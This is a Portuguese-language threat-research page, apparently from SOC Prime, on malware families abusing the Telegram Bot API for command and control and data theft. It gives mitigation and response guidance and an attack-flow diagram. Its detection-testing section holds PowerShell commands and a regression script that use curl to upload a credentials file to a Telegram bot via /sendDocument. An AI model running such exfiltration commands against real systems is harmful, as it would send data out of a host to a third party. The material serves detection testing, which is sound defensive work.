SOC Prime Bias: Médio

17 Dez 2025 17:33

Crônicas de Detecção & Resposta: Explorando Abuso no Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Crônicas de Detecção & Resposta: Explorando Abuso no Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O artigo explica como vários atores de ameaça abusam da API do Bot do Telegram e dos canais em empresas para comando e controle, exfiltração de dados e monitoramento de vítimas. Famílias de malware, incluindo DeerStealer, Lumma Stealer, Raven Stealer e um construtor XWorm trojanizado, codificam bot tokens ou IDs de canal e chamam endpoints como /sendMessage e /sendDocument. Inclui consultas de detecção do Microsoft Defender e Sentinel focadas em linhas de comando de processo suspeitas e tráfego para api.telegram.org. A orientação principal é estabelecer um padrão de uso legítimo do Telegram e bloquear a API onde não é necessário.

Investigação

O SOC da NVISO relatou quatro tentativas de intrusão observadas entre outubro de 2025 e março de 2025, onde o Telegram foi usado em diferentes pontos do ciclo de ataque. O artigo destaca campanhas como o Lunar Spider monitorando vítimas via iscas de captcha falsas, DeerStealer enviando notificações ao operador via curl, Lumma Stealer puxando detalhes de C2 de canais do Telegram, Raven Stealer exfiltrando coleções arquivadas e um construtor XWorm se baseando na API do Bot tanto para exfiltração quanto para C2. Os analistas extraíram indicadores, incluindo linhas de comando de processo, destinos de rede e nomes de arquivos relevantes.

Mitigação

Estabeleça uma linha de base para o uso legítimo do Telegram, depois bloqueie o acesso de saída para api.telegram.org em ambientes onde não seja necessário. Fique atento a processos incomuns (por exemplo, curl, powershell, wscript) iniciando conexões com a API e investigue qualquer interação scriptada com a API do Bot. Ajuste as detecções para suprimir comportamentos esperados, como navegadores conhecidos iniciando telegram.exe, e priorize solicitações de long-polling ou estilo webhook originando de binários suspeitos ou hosts inesperados.

Resposta

Quando a atividade for detectada, isole o ponto final afetado, interrompa os processos suspeitos e preserve argumentos de linha de comando juntamente com DNS, proxy e telemetria de rede. Realize análises forenses mais profundas para identificar cargas úteis subsequentes associadas a campanhas como DeerStealer ou Raven Stealer. Rode quaisquer tokens de bot expostos, desabilite ou revogue canais do Telegram abusados e contenha a propagação bloqueando indicadores relacionados. Se o abuso for confirmado, escale o relatório através dos canais oficiais do Telegram e documente o incidente para prevenir recorrências.

“graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef process fill:#c2d6f0 classDef malware fill:#f9c2ff classDef operator fill:#ff9900 %% Nodes u2013 Techniques attack_user_execution[“<b>Técnica</b> – <b>T1204 Execução do Usuário</b>: As vítimas são induzidas a executar um executável malicioso incluído em uma atualização falsa do Google Chrome.”] class attack_user_execution technique attack_software_extensions[“<b>Técnica</b> – <b>T1176 Extensões de Software</b>: Um plugin do WordPress comprometido injeta iframes maliciosos para entregar a falsa atualização.”] class attack_software_extensions technique action_archive_data[“<b>Técnica</b> – <b>T1560.001 Arquivar via Utilitário</b>: O PowerShell arquiva arquivos coletados em um arquivo ZIP.”] class action_archive_data technique tech_compression[“<b>Técnica</b> – <b>T1027.015 Compressão</b>: O arquivo ZIP compacta os dados para reduzir o tamanho para exfiltração.”] class tech_compression technique process_powershell[“<b>Processo</b> – <b>T1059.001 PowerShell</b>: Executa o arquivamento e, posteriormente, invoca o curl para transmissão.”] class process_powershell process action_curl[“<b>Ação</b> – Curl: O PowerShell chama o curl para enviar o arquivo ao servidor C2.”] class action_curl tool tech_dead_drop[“<b>Técnica</b> – <b>T1102.001 Resolver Dead Drop</b>: O malware se comunica com os endpoints da API do Telegram Bot.”] class tech_dead_drop technique tech_messaging_exfil[“<b>Técnica</b> – <b>T1213.005 Aplicativos de Mensagens</b>: Informações do sistema e credenciais são exfiltradas via chats/bots do Telegram.”] class tech_messaging_exfil technique tech_unsecured_creds[“<b>Técnica</b> – <b>T1552.008 Credenciais Não Seguras</b>: Tokens do Discord e senhas salvas são enviados como mensagens de chat.”] class tech_unsecured_creds technique tech_data_obfusc[“<b>Técnica</b> – <b>T1001 Ofuscação de Dados</b>: Os nomes dos canais do Telegram são criptografados com ROT13/ROT15.”] class tech_data_obfusc technique tech_dynamic_resolution[“<b>Técnica</b> – <b>T1568 Resolução Dinâmica</b>: O malware decodifica o identificador ofuscado em tempo de execução.”] class tech_dynamic_resolution technique tech_exfil_c2[“<b>Técnica</b> – <b>T1041 Exfiltração Sobre Canal C2</b>: Arquivo compactado e dados roubados são enviados via canal do Telegram.”] class tech_exfil_c2 technique %% Nodes u2013 Tools / Malware tool_fake_update[“<b>Malware</b> – Atualização Falsa do Chrome: Executável malicioso entregue às vítimas.”] class tool_fake_update malware tool_wordpress_plugin[“<b>Ferramenta</b> – Plugin do WordPress <i>header-fix-tester</i>: Injeta iframes maliciosos.”] class tool_wordpress_plugin tool %% Operator nodes (optional) op_and1((“E”)) class op_and1 operator %% Connections u2013 Attack Flow attack_user_execution u002du002d>|entrega| tool_fake_update attack_software_extensions u002du002d>|injeta iframe para entregar| tool_fake_update tool_fake_update u002du002d>|executa via| process_powershell process_powershell u002du002d>|cria| action_archive_data action_archive_data u002du002d>|aplica| tech_compression tech_compression u002du002d>|produz arquivo para| action_curl action_curl u002du002d>|envia dados para| tech_dead_drop tech_dead_drop u002du002d>|habilita| tech_messaging_exfil tech_messaging_exfil u002du002d>|transporta| tech_unsecured_creds tech_unsecured_creds u002du002d>|usa| tech_data_obfusc tech_data_obfusc u002du002d>|suporta| tech_dynamic_resolution tech_dynamic_resolution u002du002d>|facilita| tech_exfil_c2 tech_exfil_c2 u002du002d>|exfiltra dados sobre| tech_dead_drop %% Class assignments class tool_fake_update malware class tool_wordpress_plugin tool class op_and1 operator “

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação Pré-voo da Telemetria & Linha de Base deve ter sido aprovada.

Fundamentação: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:
    Um adversário com um host Windows comprometido deseja exfiltrar um arquivo de credenciais coletado (creds.txt) para um bot do Telegram que eles controlam. Para evitar armazenar um binário personalizado, eles usam o nativo curl.exe (instalado através de recursos opcionais do Windows 10) para POSTar o arquivo para https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. O comando é executado a partir do PowerShell, garantindo que o evento de criação do processo registre uma linha de comando que contenha “api.telegram.org”. Como o processo é curl.exe, o filtro da regra (InitiatingProcessFileName: "telegram.exe") não suprime o alerta.

    # Variáveis (substitua por valores controlados pelo invasor)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Garanta que o arquivo exista (dump de credencial simulado)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Execute a exfiltração via API do Bot do Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Script de Teste de Regressão: O script abaixo reproduz os passos exatos, adequado para execuções BAS automatizadas.

    #--------------------------------------------
    # Teste de Regressão – Exfiltração da API do Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Criar espaço de trabalho temporário
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # Arquivo de credencial simulado
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Construir URL da API
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Invocar exfiltração
    Write-Host "[*] Exfiltrando $CredFile para o Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Indicador de sucesso simples (não verifica entrega)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Comando de exfiltração executado."
    } else {
        Write-Error "[-] Falha na exfiltração."
    }
  • Comandos de Limpeza: Remova o arquivo temporário e o diretório; opcionalmente encerre quaisquer curl.exe processos remanescentes.

    # Limpar artefatos temporários
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Limpeza completa."